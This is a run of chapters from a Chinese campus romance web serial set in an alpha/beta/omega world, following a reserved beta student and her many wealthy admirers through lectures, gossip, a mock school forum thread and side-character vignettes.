我骗他,我心有愧疚,下次——
也不一定会改。
哎。
电话几乎瞬间接通。
“卿卿!”蜂蜜一样甜腻的嗓音,小羊一样软绵的叫声。
听的出来,他很惊喜。
我更愧疚了,张了张口,却说不出话。
“你好久没给我打电话了呢。”姜念屿似乎没有意识到我的沉默,他自顾自说起话来,“明天早上我让司机接你好不好,你可以早点来,我们正好一起吃……”
我的道德感在谴责我,听不下去,不受控制地匆忙打断他,“姜念屿。”
我深吸一口气,眼睛看着备忘录,一字一句的,流畅的,毫无停顿的念出上面的借口、谎言。
电话那头仅仅安静了几秒钟,很快,传来极为善解人意的柔软话语,带着笑意,没有郁闷,没有生气。
我松了一口气。
“生日礼物我会后天在学校里给你的。”此时象征祝福的礼物,竟有了补偿的意味。
可这不是我的本意。
时间过得如此之快,为了配合身体不适的借口,在他生日那天,我十分警惕而小心地呆在屋内,一整天也未出门,以防引来不必要的麻烦。
次日一早,我提着一个纸质印花袋子,里面有张贺卡,血红色的颜料勾勒出“生日快乐”的草书体字迹。
写的时候只觉得喜庆热烈,写完一看有种说不出来的怪异,可当我把贺卡放在关着小羊的礼盒中时,很是融洽。
于是我没有扔掉,那张贺卡静静地呆在羊羔的脚边,嫣红装饰着雪白的卷曲毛发。
清晨的校园里人很少,晨风裹挟着清凉的水汽,一眼望去世界明净而平和,或许正因如此,安静走在绿荫道上的我一眼就瞥见对面的叶曦,一身校服,站在树下,似乎在等着谁。
他看见了我。
我率先移开视线。
认识但不熟的人,每逢偶遇,总让我感到难熬。
我总觉得不太熟的人主动凑上去打招呼说不定会被认为是别有用心巴结讨好。
于是我握紧手中的袋子,目不斜视,径直向前。
直到——
“你手上提的是送给姜念屿的礼物吗?”经过叶曦时,他毫无征兆的发问。
我点点头,正要继续走,他蓦然拉住我的手腕,袋子晃荡一声。
我侧身看他,“有事吗?”
“离他远点。”
叶曦这个人是冷色调的,说这话时他的眉眼更似结了冰霜似的寒冷,唇角紧绷,浑身流露出一种傲慢骄矜的态度,唯独那双浅灰色眼瞳明亮的像是抹去尘埃、沾了水汽的玻璃珠子。
幼时常常玩弹玻璃珠的游戏,我准头奇差,可每当到浅灰色玻璃珠时,即便是不怎么专注地盯着,随意拨弄,也总能成功几次。
那时,我笃定浅灰色是我的幸运色。
现在浅灰色的双眸中复杂不明的情绪令我茫然不解,叶曦脱口而出的类似警告威胁的话更是让我烦躁不安。
叶曦与姜念屿同为上流社会人士,同为omega,他极大可能是为了某个喜欢姜念屿、又与他相熟的alpha出面警告我。
毕竟在丝珮叶,一个普通beta想要麻雀变凤凰,去勾搭有权有势omega或alpha的事并不少见。
想通后,一向是“多一事不如少一事”的终身贯彻者的我,没有第一时间向他解释自己并没有这份心思,而是直接表明态度。
“你放心,我不喜欢他。”我说的喜欢是指爱情的喜欢。作为朋友的话,姜念屿的性格很难不让人亲近。
他居高临下地看着我,近乎睥睨。
在这种视线下,我感到极不舒服。
我垂落眼睫,目光落在手腕上,故意动了动被他紧握的手腕,袋子里传来摩擦晃荡声,唇角微微上扬,声音很轻,是那种阴阳得很隐晦的语调,“不过在我远离他之前,还请叶少爷让我把生日礼物送给他吧。”
他匆忙松手,离开的步伐凌乱不堪。
姜念屿的桌肚空荡荡的,礼物轻易放入,我等待着他的到
来。
可奇怪的是,他一早上都没来——
作者有话说:绵羊是没有角的,可山羊有。
第38章 番外1印象特辑
[微风]
萧晏昀最先感受到的是吹过身旁的风带来的凉意——一个陌生女生急促跑着,她带起一阵微风。
散乱的、飘扬在空中的微卷黑发,明明她经过他时仍保持着距离——绝不可能触碰到他。
可他却出现了发丝在脸颊上扫过的幻觉,幻觉带来酥麻的痒意,触感的幻想引起嗅觉的灵敏。
——那微风中是不是被揉进了某种香料?
[阳光]
光是有形状的。
她安静地坐在窗边,金色的面纱蒙在脸上,披在发上,盛夏的阳光在她手指上跳跃,粉金色的指尖无聊的轻轻点动。
眼睛被阳光刺激得微微眯起,蓦然侧头,面纱飘落。
原亦可垂眸,课本上是一堆无意义的字符。
这是光给他的另一种形状。
[呼吸]
急促的喘息要多久才能完全平息?
白洛翊数过,需要382秒。
他的心脏被萦绕在耳边的喘息声牵引,跳动的快慢不随他愿。
眼前的白纸黑字融汇交错,成为一堆理解不了的东西。
他的笔停顿近5分钟后,才写下第一个字。
“救……”
救命,是被传染了吗?
怎么他好像快喘不过气来了?
[眼睛]
看着我吧。
用你淡漠平静的双眼。
姜念屿看着她,用他琥珀色的甜美的双瞳。
永远。
一定要是永远。
[诗歌]
她像一首秋天的诗歌。
没有春的生机,没有夏的热烈,没有冬的寒意。
可她也不是丰收,不是馈赠。
她只是金色的秋。
鱼竹雨阖上书,看向找她的女孩,唇角微弯:“怎么啦?”
[雾气]
要怎样才能看清你?
穿越那层透明的薄膜,来到人类的世界。
要怎样才能读懂你?
撕掉牵连不断的电线、芯片,融掉冰冷的机械。
带着热意、柔软的肌肤,恬静的或是含着怒意的眸,静谧的或是生动的姿态……这是你,独一无二的你。
凌吾不愿只是一团数据。
[碎片]
每次接触的都是不一样的她。
碎片式的扁平形象总会有完整的一天。
就像是案发地看起来毫不关联的细节、线索,细心拼凑起来,会形成一个完整的逻辑链,找到真相。
萧探尘对那天的到来满怀期望。
[空白]
试卷上的空白,你在想什么?
是无意的停笔还是有意的宣誓。
叶曦给自己留下一个悬念,这是独属于omega与beta之间的空白。
[特别]
很容易感觉到她对自己的特别。
那双情绪浅淡的双眸看向她时总会浮现些许笑意。
她很轻易把手交付给她,亲密的举止也并不会引发她的抗拒。
黑眸眨动着,就那么看着自己无端的凑近,她似乎极为信任自己。
是依恋还是欢喜?宿斯漾不敢深究。
只有她是特别的,她仅对此充满信心。
她也用“特别”来安慰自己。
[耳钉]
打耳钉时,耳垂会突兀的刺痛一下,接着流出一小颗血珠。
看到她时,心脏会突兀的跳动一下,接着眼睛会不自觉的黏到她身上。
这时候,邢珏总会抬手摸摸耳钉。
冰凉的、耀眼的耳钉,能一定程度上减缓耳垂的热气。
她是燥热的原因,她是燥热的救星——
作者有话说:*
在萧晏昀和卿卿第一次见面时,他的头发还是黑色。
*
不更是因为卡文了(哭泣)
第39章 “不要”再掐我啦
下午得去礼堂听讲座,我一如既往地准备提前二十分钟过去占座——坐最后一排的隐秘角落。
离开前,我不禁扫了一眼教室中空着的几个座位。
教室里少人似乎已经是常事了,任课老师完全不会过问,同学们也对此视若无睹。
我莫名有种被排斥在外的感觉,是不同于其他人的微妙感。
礼堂很大,我来的过早,人很少,落在地板上的脚步声让为数不多的几人抬头张望,我直直走向角落。
在我坐下的几秒后,一个人影从我身边晃过,座位震颤,“真巧啊。”
像是清水滑过冷石,这些天熟悉过头的声音让我下意识手抖了一下。
我的目光从手机屏幕移开,不情愿地看向旁边,萧晏昀那张带着灿烂得让我不舒服的笑容的面容映入我的眼睛。
在昏暗角落亮得惊人的黑瞳,眼尾向下,唇角向上,右脸颊上有一个小小的酒窝。
“嗯。”我点点头,不想多理他。
萧晏昀太过自来熟,这些天的偶遇巧合告诉我,对他不要太礼貌,他的话题也要尽量少搭腔,不然他就会说个没完没了,无限延伸下去,最终受苦只有我自己。
这种方法还是有点用的,他等了几秒,似乎自知自己收到了冷落,没再随意搭话。
——直到讲座开始20分钟后,他忍不住了。
这个话唠他开始一个人自言自语。
礼堂很大,但由于是阶梯式的座位,站在讲台的老师能够纵观全场。
我已经注意到了老师投过来的视线,下意识低头,挪挪位置,想离萧晏昀远一点。
萧晏昀显然注意到了,他偏头看我,疑惑地问:“你怎么了?”
他不知想到什么,整个人突然弯下身子凑过来,偷偷摸摸的,用那种又惊又喜还有点兴奋的语气说:“你也不想听了吗?要不我们一起逃课吧,跟你讲哦,偷偷跑出去的时候啊,千万不要回头看,这样子老师就不容易注意到你,就算注意到了也没关系,他看不到你的脸……”
他刚刚绝对吃过薄荷。
在和老师对上视线的一秒,慌不择路的我脑海中闪过一个无关紧要的想法。
我顾不得先推开他,摆脱这个让他的吐息与我皮肤直接接触的距离。
我直接把他的嘴捂上。
他茫然地眨着眼看我,十足的无辜样。
我越过他,看向老师已经转移了视线,提起的心才缓缓落下。
“在上课,你别说话了。”我小声地,恶狠狠地,咬牙切齿地说。
他点点头。
我心中存疑地把手慢慢放了下去。
刚放下去,我恨不得再次捂上。
可能刚刚着急把他的嘴捂的很紧,他的皮肤又白,现在脸上竟出现了几条淡淡的红印。
救命。
我愣愣地盯着他。
[怎么啦?]他用夸张地口型说出这句话。
应该会消的吧,肯定会消的吧,这印子肯定过不了多久就没了吧!
我抿紧唇,强装淡定的把目光移向讲课老师,心中却怎么也安稳不下来,不停地用余光瞄萧晏昀的侧脸。
几十秒后,一本书推过来,潇洒豪放的黑笔字把书页上工整的打印体压在底下。
“我不说话了,你刚刚掐得我脸好痛”
他认真地看着我,微圆的、眼尾微微下垂的狗狗眼湿漉漉的,白皙脸颊边的几道红痕还没褪干净。
我心虚地低头,不过下一秒我就反应过来,心里反驳他,明明是他先自说自话引起了老师注意的错。
我提起笔。
他的书翻开的那页已经被他那落拓不羁的字迹占满了,不过我也没打算写多少,随便找了个角落。
“你的错”
怕他看不懂我写的连体草书,我特意一笔一划的写,写完又在后面补了两个字和一个感叹号。
“活该!”
正好,写完他脸上的几道红痕也消失的差不多了——
作者有话说:是的,萧晏昀有一双无辜的狗勾眼……
第40章 番外2[校园怪谈1]莫名出现的小零……
最近天气逐渐热了起来。
连风都像被蒸炉闷过才放出来的。
我很怕热又易出汗,没什么食欲,整日除了上课都窝在教室里,连食堂都不乐意去了,饿了就吃自己带的小面包。
天热的时候,无端的就会感到疲累,明明一直坐在那儿,课都没怎么听,笔也没怎么动,就是累。
我很习惯每天趴在桌子上,恰好,我坐在窗边,脸朝着窗外,凝视着深深浅浅或明亮或黯淡的树叶子。
就是,最近很诡异,放错东西的人变多了。
而那些东西往往都是一些食物。
早上过来,准备拿书的,在桌肚里摸着摸着,就摸出一个方方正正的盒子,拿出来一看,一盒包装精美看着就很贵的巧克力。
我不是没有怀疑过这盒巧克力就是送给我的,可是当我拿出来,试探性的跟旁边同学讲。
“我课桌里有一盒巧克力,是——”我话还没讲完呢。
“是我的。”同学信誓旦旦地说。
我愣住,默默递给她。
同学边接住,边笑着说:“我最喜欢的就是这个品牌的巧克力了,昨天跟我朋友提了一嘴,没想到他今天就送过来了,不好意思啊,云卿。”
同学用力撕开包装,撕的太用力,有些巧克力的包装被刮蹭到了,她把唯一一颗完好的递给我。
“不用了,谢谢。”我有点尴尬地婉拒,我最近确实没什么胃口。
同学没介意,随手把巧克力装进盒子里,她虽笑着,但隐约有点嫌弃的感觉,“在夏天巧克力易融脏手,它脂肪糖分含量还高,又进一步抑制食欲,本来就不应多吃。”
刚刚上完体育课接完水回来,桌上又摆了一杯热饮和一盒泡芙,我默默把水杯小心放在桌子上。
手上拿起热饮和泡芙,口中“这”字还没说出口呢,“是我的”“我的”就喊上了。
异口同声的两人愣了一下,女生率先反应过来,连忙说:“我的是泡芙。”
于是我把那杯滚烫的热饮给了那位男alpha,大热天喝热饮,我还是第一次见男alpha这么喝的。
每次放错了东西在我桌子上,我不主动给主动问的话,根本没人主动找,东西就那么孤零零地摆着。
这算是校园怪谈吗?只有在桌子主人意识到食物放错后,食物主人才能找到自己的食物。
我慢慢咽下一口热水,我喝水习惯喝热热的水,夏天也是如此。
解了点渴后,我用手撑着脸,百无聊赖的,另一只手随意搅动着勺子,勺子偶尔会碰到玻璃杯壁,会发出一点响声,杯子里面形成一股漩。
“AM新出的奶酪。”同学笑着捧着一盒东西,展示给我看,“喏。”
她示意我拿。
忘了说,最近不光是放错东西的变多,在教室里吃各种零食的也变多了——反正有换气系统随时都可运作。
我婉拒了。
看向讲台那里,刚刚突然有人搬了好几箱东西过来,班长站在旁边,指挥着人一个一个发放。
好像是粥类饮品?【】
40-50
第41章 熟不熟?
下课铃响之后,我毫不停留,几乎第一个冲出教室。
萧晏昀手插着兜,看似散漫,却跟得我紧紧的。
我忍耐了十秒,没忍住:“你有什么事吗?”
“没事啊。”他眨眨眼。
我皱起了眉头,他迅速改了口风。
“我的脸颊现在还是好疼,你捏我用的力气太大了!”
我力气多大心里是有数的,捏起的红印子不过几分钟便消失殆尽,再说他一个alpha,怎么可能这么娇弱。
我完全不信,出口阴阳他:“我还是第一次见到你这么娇弱的alpha呢。”
“嗯,确实,我是特殊的,你可要珍惜我。”
他像是没听懂我的言外之意,接着十分不要脸的贬低他人抬高自己,“那些alpha光长身子不长脑子,运动过度了还带着一身臭汗,情商低也不会说话,你跟他们玩,被惹生气了,动手打人家,不仅连个巴掌印都不会留下,手还疼到了。”
你情商也不是很高的样子啊。
“那真是谢谢你的告诫了呀。”我继续阴阳怪气。
“不用谢,我们什么关系了还这么客套。”
我停住脚。听着萧晏昀如此自然地说着这话,险些以为自己失去了一段时间的记忆。
我掠过这个话题,回到最初:“所以你跟着我是想让我赔你医药费?”
他略思索了一瞬,走廊明亮的白灯下黑眼竟显出几分深沉的意味来,不过很快,随着他眼皮掀起,微圆明润的狗狗眼又有了清澈无辜的感觉,他矢口否认,轻轻笑了起来,露出一口白牙。
“我就是想跟着你嘛。”
不对劲。
我扶了扶不存在的眼镜框,认真思考
自从那天萧晏昀在校门口碰见我和他叔叔在一起交谈之后,他出现在我身边的频率明显拔高了起来。
已知:他叔叔是一个警察。
又已知:他叔叔正在调查的案件的一个嫌疑人与我有密切关系。
缜密推理后,我得出结论:萧晏昀是帮他叔叔来监视我的。他这些天莫名其妙的主动接触都是为了从我身上得到案件的线索!
细思极恐,我咽了一下口水,强装镇定,干巴巴说了句:“哦,随便你。”
萧晏昀就真没心没肺快快乐乐地跟上来了,挨在我身边,嘴里还哼着歌。
我和他从小走廊走到大走廊,跟他打招呼的人越来越多。
有几回,他的朋友们打完招呼后,目光还偷偷摸摸地转到我脸上,我目不斜视,全当没看见,默默把帐记到萧晏昀头上。
快到教室的时候,正巧碰到姜念屿出来,他看到我就笑了起来。
我想应该是他看见我送给他的生日礼物了,看样子他还挺喜欢。
果不其然,姜念屿走到我面前,甜甜地说:“卿卿,我好喜欢你送的礼物。”
姜念屿的声音是清甜的,像是一滴水珠滴落破碎放大的声响,接近少年音,但更像刻板模板化的少年音中融进了梅子初熟的香味。
“你喜欢就好。”
姜念屿望着我,眉眼弯弯,笑靥如花。
“卿卿?我以后也这么叫你吧,一直连名带姓的喊多生疏。”一道不和谐的声音插入进来,萧晏昀挑眉看了一眼姜念屿。 ?
我们很熟吗?
我想委婉的拒绝,又想起早上叶曦对我的警告,加深了我拒绝的决心。他让我离姜念屿远点,以此类推,像我这样beta还是要跟alpha、beta、omega都保持距离才好。
于是我说:“还是叫我姓名吧,我觉得我们还没有那么熟。”
萧晏昀微微歪了歪头,丝毫没有因拒绝而产生一丁点尴尬,语气疑惑:“姜念屿跟你很熟吗?”
我看了一眼姜念屿,他定定地看着我,眸光中含着某种期许。
我刚想说“他跟我比你跟我熟”,不远处靠在栏杆的叶曦闯入我的视野,天色渐渐暗了下去,他安静注视着这里,不知看了多久,神色晦暗不清。
那句话被我咽了下去,还没等我想好,萧晏昀又开口了:“宿斯漾也叫你‘卿卿’,你们也很熟吗?”
没记错的话,宿斯漾这周就坐在窗边的,我不动声色地向那边看去,那里窗户敞开,可以看见那里坐着一个人。
这种距离,以alpha的听力应该可以听的清清楚楚……
怎么办?怎么说?
我现在真后悔没有看网络上疯狂推荐的《说话的艺术》《教你学会高情商交流》那一类的书了。
在我尴尬得后背都开始发麻的时候,萧晏昀还在不依不饶:“怎么样才可以让我像他们一样跟你那么熟呢?一周行吗?不对,我们都已经天天碰
面说话两周了,唔……还要一个月吗?我天天,不,只要一有空就来找你的话,是不是时间可以缩短点……”
“你叫吧。”我咬着牙截断他的话。
你别说话了,爱怎么叫怎么叫——
作者有话说:萧晏昀的论坛名就是“热闹”哥
第42章 论坛体【风起云涌】
【不是我说有些人要不要脸啊】(hot)「2」「3」……「4」「5」
1L
絮絮如声:有意思吗这样[白眼][白眼]能不能又有点边界感啊离她远点行不行啊有眼睛的人都能看出她快烦透你了吧,真以为加到她lxfs又喊她昵称像是能怎样是的毫无作用哈
2L
不吃粽子的黑色蹄子:不过是跳梁小丑的雕虫小技罢了,笑死真以为我会破防吗[小丑][小丑]
3L
荒原:不过是跳梁小丑的雕虫小技罢了,笑死真以为我会破防吗[小丑][小丑]
4L
叽叽咕咕咕:不过是跳梁小丑的雕虫小技罢了,笑死真以为我会破防吗[小丑][小丑]
5L
爱学习的不惑小姐:不过是跳梁小丑的雕虫小技罢了,笑死真以为我会破防吗[小丑][小丑]
……
123L
西西向云流:不过是跳梁小丑的雕虫小技罢了,笑死真以为我会破防吗[小丑][小丑]
【感觉要死掉了不知道这些图算什么】(hot)「2」「3」……「10」「11」
1L
此中人语云:楼主比较喜欢拍照有事没事经常拍有时候没反应过来手就自动按下了拍照键不知道这算不算为自己辩解啊啊啊啊算了管他爹的反正lz已经被整破防了下面就是不小心拍下的一些图片既然lz吃了安眠药半夜了都没睡着那你们也别想睡了
「图一」「图二」「图三」「图四」「图五」「图六」「图七」……
2L
装情种:……这么晚没睡是我自寻恶果了哈
3L
酸萝卜:wc
4L
批发蟹黄堡:批的,一眼假
5L
每天都要开心:lz这种东西不能留就删了要舍不得就自己看,分享到论坛干嘛有点边界感好不好我们只是网友你喜欢梦三没人拦着你[呕吐][呕吐]
6L
键盘侠快滚:装什么装啊你他爹就是偷窥狂没跑了死变态,拍了她这么多照片你很荣幸是不是,心里还有满足感获得感呢是不是啊变态偷拍狂
7L
电子仿生毛茸茸:……lz劝删
8L
零点:熬到这么晚是我的报应,求一双没看过的眼睛。
9L
白日梦小姐:啊啊啊买艾斯
10L
小狗是超人:……你这下好了,搞得我们都睡不着了。
11L
橙子超好吃:看了这么多,我就一个疑问,lz你是这拍照技术怎么不当狗仔,找角度编造绯闻应该没人比的过你……反正我觉得那帮人看了肯定会感激你,拍了他们的人生照片呢
12L
探索小薯条儿回复橙子超好吃:哈哈哈哈确实这照片拍的那得当传家宝保存起来
13L
蓝桥:呃无语上面两楼显着你们了说风凉话的都去s好不好
14L
whyareyou:ohmyeyes!!!!!!
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目前在旷野:找角度没谁比你会找神经
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天生爱甜妹:都散了吧一大半是借位找角度剩下的就是批图造谣,谁信谁sb
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归一码:哈哈哈哈只有我好奇lz家里什么背景吗?这么敢拍不要命啦?
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芝麻回复归一码:说不定lz现在已经是死人了嘻嘻
……
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最帅小怪兽:不er看了这么久,怎么没一个懂技术的来鉴别照片真伪?
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茶白:第三张我亲眼看见过,当时他们根本没离这么近,造谣传谣的不得house
58L
只求朝朝暮暮:反正都这样了,又不是她的错,道心先崩的人是坚持不到最后的。
59L
垃圾桶里的诺贝尔奖得主:算什么算你倒霉算你贱命一条这些照片算你无中生有!
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蘑菇可恶回复最帅小怪兽:动点脑子好不好你猜为什么都过了二十分钟还没人上论坛来打照片非要我说这么清楚吗?因为这些照片都他爹的是真实的没有造假啊啊!!!
61L
我很快乐回复蘑菇可恶:好了你说出来这下子我一点希望也没了
62L
可可乌乌:谁懂啊我现在就像lp出轨了一样难受
……
223L
本人已疯:不是我怎么看不到图了,楼里吵这么厉害,到底是什么啊急急急急急急急
224L
谁剃秃了红皇后:图被毙了,求求lz再传一次,我还没看到
225L
Ashenone:到底是什么东西啊啊某个大人物的丑闻?
226L
今日份甜果:!!!我靠不会是我想的那样吧看上面的回复图还是毙了好
227L
小狗是超人:……还是别看为好,我现在真想求一双没看过的眼睛
……
456L
此中人语云:图是传不出来,一秒被屏蔽,但好心lz可以跟你们描述一下[微笑][微笑]另外我敢对天发誓这些都是我在校园里拍为了拍宣传照到处乱逛不是故意去跟踪她的!!!!!!!
图一:她与叶曦在树下的拥抱,他的手扶在她的肩上,举止亲密。
图二:她与叶早晨在空荡校园里的拉扯,举止亲密。(父母混娱乐圈的就是会勾引人哈)
图三:刑珏教她射箭,动作娴熟,举止亲密。(我靠这个装逼男还摸上手了!!)
图四:阶梯教室她与萧晏昀坐在一起,对视摸脸,举止亲密。(这狗日的男的看她看得眼珠子都快掉出来了)
越说越气,剩下懒得讲了,lz先睡了,猝死了就再也见不到她。
第43章 萧晏昀【玩笑弄人】“他犯下的三个错……
对那个女孩最初的关注来自一个令萧晏昀戏谑的传闻:姜家的小少爷最近迷上了个同班beta,每日追在她身后死缠烂打,脸都不顾。
他起初听到友人讥笑嘲讽姜念屿魔怔不要脸时,他一笑了之,心里觉得这流言太假不可信,旁人更是愚蠢竟听信不够,还拿在他耳边说三道四。
在上流社会的顶尖阶层里,有个秘而不宣的消息——姜家出疯子,病态的基因自百年前发家之日起,于每位姜家后人的血脉中流传,后人常英年早逝,暴毙而亡,以至于曾出过三任总统的姜家子孙稀少。姜念屿的大哥发疯病炸毁一栋楼至今被关在精神病院里,他的姑姑过了四十便疯疯癫癫寻起了长生,与其子一同想要成仙。
萧晏昀对姜念屿说有多熟悉还谈不上,但毕竟是一个圈里的,依他看,姜念屿比他哥他姑疯病更胜。
他从姜念屿身上感觉不到人性。
流言传了近一个月,更有愈演愈烈的趋势,这从他身边人近几日对姜念屿的讨论、对姜念屿的痛骂之中带着一丝幸灾乐祸就可看出。
在学校挂个名头、对外面纸醉金迷的日子渐感无聊的萧晏昀,久违的起了兴趣,穿好校服回到丝珮叶,他倒要好好瞧瞧,这个处在流言中心但这火却丝毫烧不到她身上的beta到底有什么本事。
萧晏昀是个不着调的性子,对别人而言重要的、决定此后人脉走向的开学考,他直接没去,分到的班级也与A班相隔甚远。
他慢慢悠悠的双手插兜从F班走到A班时就花了半个钟头。
急什么?反正人又不会跑。他想。
可正巧赶上A班的体育课,最终他看到的只有一个背影,苍白的手腕上挂着一条红细绳,正试图把散乱蓬松的卷曲黑发扎成马尾,动作不疾不徐,她很快消失在拐角。
又是背影。
诶?他为什么要说“又”。
白天怎么想也想不到,那股莫名其妙的焦灼惹的心头都在发痒的事情,出现在了夜梦之中。
原来白天不是她和他的第一次见面。
他第一次见到她是在丝珮叶开学考那天的一条街道上,他望着一个陌生人的背影愣神,看着她越跑越远,越跑越远。
接近她源于对流言的好奇与探究,不乏有爱看热闹的好事者关注姜家少爷的感情生活,旁人在他耳边念叨一万遍姜小少爷这段时间像被下降头一般的行为举止,也没有亲眼目睹来的真切。
虽心有准备,可当他亲眼看到那般痴态的姜念屿时,还是有种“幻灭”之感。
他试图说服自己,或许,姜家的疯病到了姜念屿头上就外化为情种恋爱脑了?人也是会变的对吧?
有点意思。
萧晏昀兴起,向来散漫的身子都坐直了,他撑着脸颊,默不作声地打量起被人若有若无环绕的beta,她在有心人故意经过她身旁时,脚步会迟滞些许。
那个beta,虽然校园内的流言里对她丝毫没有贬损的言论,都在谈别人的不要脸倒贴故作姿态,但细究起来倒能觉察出这是个长袖善舞、八面玲珑交际花一般的人物。
啧。
萧晏昀此生第二次判断出错了,第一次是他不信流言姜念屿倒贴的时候。
冷淡但讲礼貌的beta,对alpha、omega、beta都一视同仁,安静的不善交际的beta,比起大出风头受人关注,似乎更爱躲藏于众人之间少有人知的处境。
好奇关注这个beta的同时,萧晏昀也敏锐地察觉到似乎被下了降头的人不止姜念屿一个。
姜念屿只是其中最早攻势最猛的一个人。
啧啧。
看着热心的要教人骑射的刑珏,像个跟踪狂一样总跟着她的白洛翊……萧晏昀露出了看好戏般的笑容。
他旁观着局势,他期待着接下来的发展。
他觉得好玩,细品又带着一丝不现实的荒谬,他想看看接下来还能荒谬到哪里去。
那时的他是一个旁观者,是一个不怕水浑只愁水清的乐子人。他为已经足够大的火势添柴加薪,他并不觉得有一天这火会烧到自己身上。
许是萧家几乎祖祖辈辈都从商留下的动物直觉,让他下意识忽略了那时仅仅瞥了几眼相熟背影时的心痒难耐,基因告诫着他快跑,不要管与自己不相干的人与事。
可他忽视了警告,只以为自己与庸俗旁人不同,他更卷进这一滩浑水,以自诩旁观者的身份,掺和进这毫不关他事的风与月。
在那个beta没来学校那几日,一时兴起,头发弄了个金色挑染。
又几日后,他染了个全金。
这似乎都是随性而为的举动。
是的,无聊而已。
他说服自己,几秒后,下意识拿起手边的胸章——那是耀眼明亮的向日葵款式。
为什么?
不是不在意吗?
为什么偏爱的都是她所爱的?
他蓦然想起那日在校门口看见的刺眼场景,他故作不知,他故意插入,他……
越想越心惊,他为什么……为什么会觉得那一幕刺眼?
因为、因为他觉得学校里都是小打小闹孩子过家家一般的玩笑,可他小叔是会、是会……
萧晏昀低下头,恰巧于镜子中看见自己一头绚烂金发。
染发真的只是无聊打发时间吗?
不……
他触及到最深处的声音:他不想当个路人甲了,他想让她注意到自己。
这是萧晏昀此生第三次犯错,而恰巧这三个错误都和她有关——
作者有话说:可怜的萧晏昀
乐子人终被乐子害。
第44章 番外3丝珮叶的“youknow……
“她那天根本没去参加……”
“……难怪找遍了都没看见。”
“唉,好难约,明明都认识快两年了。”
“嗤,你算个什么东西,她连你名字都记不住吧。”
“她放假根本不出门的,也只能在学校看见她了。”
“上次那个白洛翊不是约出来过一次,还有她还去帮他……”
“那个贱人太有心机,活该前几天被车撞,连老天都看不过眼了。”
“车祸那事好像是被人做了手脚吧,听说就是姜……”
“……你快别说了。”
自从考进丝珮叶学院读书后,他的耳边总是会出现这样一个人——明明常常被人挂在嘴边,却从不提姓名,小心地用“她”来代替。
即使是偶尔路过才听到一些关于她的只言碎语,他也不得不知道了许多。那些零碎的、堪称毫无价值的信息轻易塞入记忆里足够好的大脑,以至于在真正见到正主前,他就已经浅薄地了解了这位风云人物。
作为新生,即使他不是一个拥有足够好奇心和求知欲的人,在这种情况下,他也免不了要问上两句。
“她”是谁?很厉害吗?是家势、样貌、才华还是性格?
她是哪样突出,才会让她的仰慕者把姜念屿、叶曦、萧晏昀之流说的那样不堪入目,似乎一切接近她的人都是狼子野心、蓄谋良久,一切没有主动靠近她的人都是故作姿态、欲擒故纵。
在新生不假思索地向高年级询问,那人看他的眼神很奇怪,咧了咧嘴,不答反问。
“你现在是不是感觉举世混浊,唯我独清。是不是觉得我们这些人不可理喻没有道理,那我告诉你,你迟早也会这样,一天、两天、三天?不用这么久,就在你真正看见她的时候”
“小子,收收吧,你脸上的高傲都快溢出来了。”都是出身好的,哪能看不出这新生的心思。
“你总得告诉我她是omega还是alpha吧。”他根本没把beta算在里面。
“这并不重要。”那人微微眯了眯眼,“你歧视beta?”
新生皱了皱眉,张嘴刚准备继续说话,就看见几个高年级alpha目光不善地看向了他。直觉告诉他再不走,那就不是被人嘲讽几句就能完事的了,他从善如流地闭嘴离开。
太奇怪了。
他好像进了一个里面满是神经病的学校,还搞什么狗屁饭圈文化,说不得“偶像”一点不好,脑残粉还挺多的。
不过,既然这人在学校这么出名,那他入学前怎么一句也没听说过?难道是他消息渠道太闭塞了?
新生满肚子疑惑,犹豫了一下,再次询问同年级同班同学。
同学A愤慨:“我也一样,才知道有这么个人,昨天问表姐,她一副缄默三口的样子,像是不想让我知道,故弄玄虚。”
同学B微笑,像是在劝说为他好:“不知道就不知道嘛,又不会掉块肉,你也别继续问下去了,多麻烦,我记得你以前不是好奇心没那么强吗?”
他面不改色地在同学B打量的目光下找了个借口走掉,他注意到同学B在他提到她时,手里突然握紧的笔。同学B在紧张,他在紧张什么?为什么对他会有突来的敌意?
这个发现让新生越发陷入这一桩诡异的事件中,不可明说的姓名好似一本世界畅销小说中的“youknowwho”,不同的是那个“youknowwho”在那个世界无人不知,而且人们对他的态度截然相反,而这里却只在一所校园里传播,认识她的人对于其他好奇的人,似乎抵触多过接纳。
他们似乎不想让更多的人知道她,所以把消息封锁在学校,所以刻意在公众场所不提起她的姓名,这成了两条不成文的规定。
新生思索时,习惯拿出一支烟,还没点燃,就有人皱眉站在他身前:“新生?不知道校园内禁烟吗?真没素质。”
他站在僻静处,手上的烟还没来的急收回
去,旁边又路过两人,他们刻意避开他走,走远还特意嗅了嗅衣服“……烟味还好没沾到身上,她可最讨厌烟味了”。
又是她。
新生看了看手上还没点燃的烟,随手扔进垃圾桶里。
在这种贵族校园里校规对他来说可有可无,但这也要看校规是谁、是为谁设置的。
要真是因为“她”,那他有理由相信,今天但凡他点了这根烟,那群神经病——她的拥簇者们绝对会借此按规矩惩罚他,杀鸡儆猴,来告诫新入学的学生。
新生抿唇烦躁地走进一条小道,他现在厌恶见到跟“她”有关的人和事。一个人呆着,总能从一团乱麻里抽出身来安静会儿了吧。
可像是老天要玩他一样。
那个偏僻阴暗的地方,今天也有个人在。
长黑发,苍白肤,她手里捧着一本书,听见脚步声,漫不经心侧头瞥来。
她的眼睛里一定长着两个黑色的漩涡。新生呼吸一滞。
不然该怎么解释,他突然蜷缩绷紧的心脏?
谁是“她”?
新生好像知道了——
作者有话说:努力ing
第45章 番外4[校园怪谈2]第七封情书
【任务名称:丝珮叶学院的情书】
【主线任务:成功递出系统的情书】
【剩余次数:7】
【任务成功:无奖励。任务失败:抹杀】
(任务提示:这是一个abo世界,不会出现鬼怪、仙神,没有异能、灵力,故玩家一切技能封锁,数值下调到与普通人同一水平)
这个世界看起来比先前的废土世界、赛博世界、末世世界等要简单许多,但身经百战、在世界排名前百分之一的高端玩家绝不会掉以轻心。
玩家认真分析任务条上的寥寥几字。
递出情书,没说主人公所以递给谁?
成功递出,怎么样算成功?
剩余次数,这是意味着玩家有七次机会吗?
……
玩家深吸一口气,把系统发放的一封浅樱色纹路的信塞进自己口袋里,决定按兵不动,先再校园里打听一番。
系统影响下,玩家成了这个班上的一名学生。
打听消息是有技巧的,不能直接表露自己的目的。
按照玩家的经验,校园世界是新手最容易通关的世界,因为剧情都被淘烂了嘛,不外乎校园霸凌、仗势欺人、师生诱骗等几种情况。
而一般情况下,整个校园里都是横死鬼徘徊游荡。
